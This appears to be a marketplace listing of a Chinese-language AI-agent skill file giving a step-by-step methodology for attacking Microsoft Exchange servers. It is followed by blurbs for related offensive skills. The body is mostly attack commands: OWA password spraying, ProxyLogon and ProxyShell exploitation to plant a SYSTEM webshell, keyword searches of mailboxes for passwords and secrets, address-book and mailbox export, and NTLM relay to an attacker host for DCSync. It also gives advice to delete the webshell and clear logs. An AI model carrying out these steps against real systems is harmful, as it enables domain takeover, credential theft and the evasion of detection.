skills/lateral/exchange-attack/SKILL.md
Microsoft Exchange 邮件服务器攻击方法论。当发现 OWA(Outlook Web App) 登录页面、Exchange 管理面板、443 端口运行 Exchange、或内网中发现 Exchange 服务器时使用。当端口扫描发现 25/443/587/993/995 且指纹为 Exchange 时使用。覆盖 OWA 密码喷洒、ProxyLogon(CVE-2021-26855)、ProxyShell(CVE-2021-34473)、ProxyNotShell(CVE-2022-41040)、邮箱搜索导出、GAL 全局地址簿提取、NTLM 中继到 Exchange。Exchange 是域渗透中最高价值的目标之一——可获取域管邮箱、提取全员通讯录、获取 SYSTEM 权限。发现任何 /owa /ecp /autodiscover /mapi 路径时都应使用此 skill
npx skillsauth add wgpsec/AboutSecurity exchange-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Exchange 在域环境中地位极高——通常拥有 Domain Admin 级权限、存储全公司邮件、保存全员通讯录。攻下 Exchange 几乎等于拿下整个域。
# 常见 Exchange 路径
curl -sk https://TARGET/owa # Outlook Web App
curl -sk https://TARGET/ecp # Exchange Control Panel(管理)
curl -sk https://TARGET/autodiscover/autodiscover.xml
curl -sk https://TARGET/mapi/nspi # MAPI/HTTP
curl -sk https://TARGET/rpc # RPC over HTTP
curl -sk https://TARGET/oab # Offline Address Book
curl -sk https://TARGET/ews # Exchange Web Services
# 版本识别(从 OWA 页面或 HTTP 头提取)
curl -sk https://TARGET/owa -D- | grep -i "x-owa-version\|x-feserver"
| Build 版本 | Exchange 版本 | 关键 CVE | |------------|---------------|----------| | 15.0.x | Exchange 2013 | ProxyLogon, ProxyShell | | 15.1.x | Exchange 2016 | ProxyLogon, ProxyShell, ProxyNotShell | | 15.2.x | Exchange 2019 | ProxyLogon, ProxyShell, ProxyNotShell |
OWA 是域凭据认证,成功登录 = 获得域用户凭据。
# 使用 spray 工具
spray -owa2 https://TARGET/owa -u users.txt -p 'P@ssword123'
# 使用 MailSniper
Invoke-PasswordSprayOWA -ExchHostname TARGET -UserList users.txt -Password 'Summer2024!'
# 使用 ruler
ruler -k --domain TARGET --username [email protected] --password 'Pass123' brute
# 使用 nxc (NetExec)
nxc owa TARGET -u users.txt -p passwords.txt --module owa
# 用户名来源:
# 1. GAL 提取(如果有一个低权限账户)
# 2. LinkedIn OSINT → 推测邮箱格式
# 3. /autodiscover + NTLM → 域名获取
# 通过 NTLM 认证握手提取域信息
curl -sk https://TARGET/autodiscover/autodiscover.xml -H "Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" -D-
# 从 NTLM Challenge 响应中解码出:域名、服务器名、DNS 域名
# 使用 ntlm_challenger.py 或手动解码 Base64
# 或用 nmap
nmap -p 443 --script http-ntlm-info --script-args http-ntlm-info.root=/owa TARGET
# SSRF 检测
curl -sk "https://TARGET/owa/auth/x.js" \
-H "Cookie: X-AnonResource=true; X-AnonResource-Backend=TARGET/ecp/default.flt?~3" \
-D-
# 200 状态码 + Exchange 管理页面内容 → 存在漏洞
# 或用 nmap 脚本
nmap -p 443 --script http-vuln-cve2021-26855 TARGET
# 使用 proxylogon exploit
python3 proxylogon.py -t https://TARGET -e [email protected]
# 步骤:
# 1. SSRF 获取后端管理员 SID
# 2. 用 SID 伪造 ECP Session
# 3. 通过 ECP 写入 webshell(OAB VirtualDirectory)
# 4. 访问 webshell 获取 SYSTEM 权限
# 清理痕迹
# 删除写入的 aspx webshell
# 清理 ECP Activity log
# 检测 — 访问 autodiscover
curl -sk "https://TARGET/autodiscover/[email protected]/owa/?&Email=autodiscover/autodiscover.json%[email protected]"
# 200 且返回 JSON → 存在 SSRF
# 利用 — 通常使用现成 exploit
python3 proxyshell_rce.py -u https://TARGET -e [email protected]
# 步骤:
# 1. /autodiscover SSRF → 获取 LegacyDN + SID
# 2. 用 SID 获取 EWS 访问权限(降权到 SYSTEM)
# 3. 通过 PowerShell Remoting 写 webshell
登录 OWA 或拿到 EWS 权限后:
# 使用 MailSniper 搜索关键词
Invoke-SelfSearch -Mailbox [email protected] -ExchHostname TARGET \
-Terms "密码","password","VPN","key","secret","credentials"
# 使用 EWS API 搜索
# 搜索主题含关键词的邮件
# 获取所有域用户邮箱(用于后续密码喷洒/钓鱼)
# MailSniper
Get-GlobalAddressList -ExchHostname TARGET -UserName [email protected] -Password 'Pass123'
# 通过 OAB(Offline Address Book)
curl -sk https://TARGET/oab/ --ntlm -u 'domain\user:Pass123'
# 导出用户列表用于密码喷洒
# 导出指定用户邮箱(需要管理员权限)
New-MailboxExportRequest -Mailbox [email protected] -FilePath \\exchange\c$\temp\admin.pst
# 或通过 EWS 逐封下载
Exchange 服务器默认是 Exchange Windows Permissions 组成员,该组对域有 WriteDACL 权限:
# 使用 privexchange(CVE-2019-0686/0724 类似思路)
# Exchange → 强制认证到攻击者 → NTLM 中继到 LDAP → 给自己加 DCSync 权限
python3 privexchange.py -ah ATTACKER_IP TARGET -u user -p 'Pass123' -d domain.local
# 结合 ntlmrelayx
ntlmrelayx.py -t ldap://DC_IP --escalate-user compromised_user
# Exchange 服务器通常以 SYSTEM 运行
# 通过 webshell → SYSTEM 权限 → 导出内存/凭据
# 使用 mimikatz 或 SafetyKatz 提取凭据
# 可能直接获取域管 NTLM Hash
发现 Exchange (OWA/ECP)
├── 版本识别 → 检查 ProxyLogon/ProxyShell/ProxyNotShell
│ ├── 存在漏洞 → RCE → SYSTEM → 域控
│ └── 已打补丁 → 继续
├── NTLM 信息泄露 → 获取域名
├── OWA 密码喷洒 → 获取域凭据
│ ├── 成功 → 登录 OWA → 搜索敏感邮件
│ ├── 成功 → GAL 提取 → 更多用户名 → 更多喷洒
│ └── 失败 → 尝试 /autodiscover NTLM 喷洒
├── 有凭据后 → EWS/PowerShell 远程管理
└── 高权限 → privexchange → DCSync
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能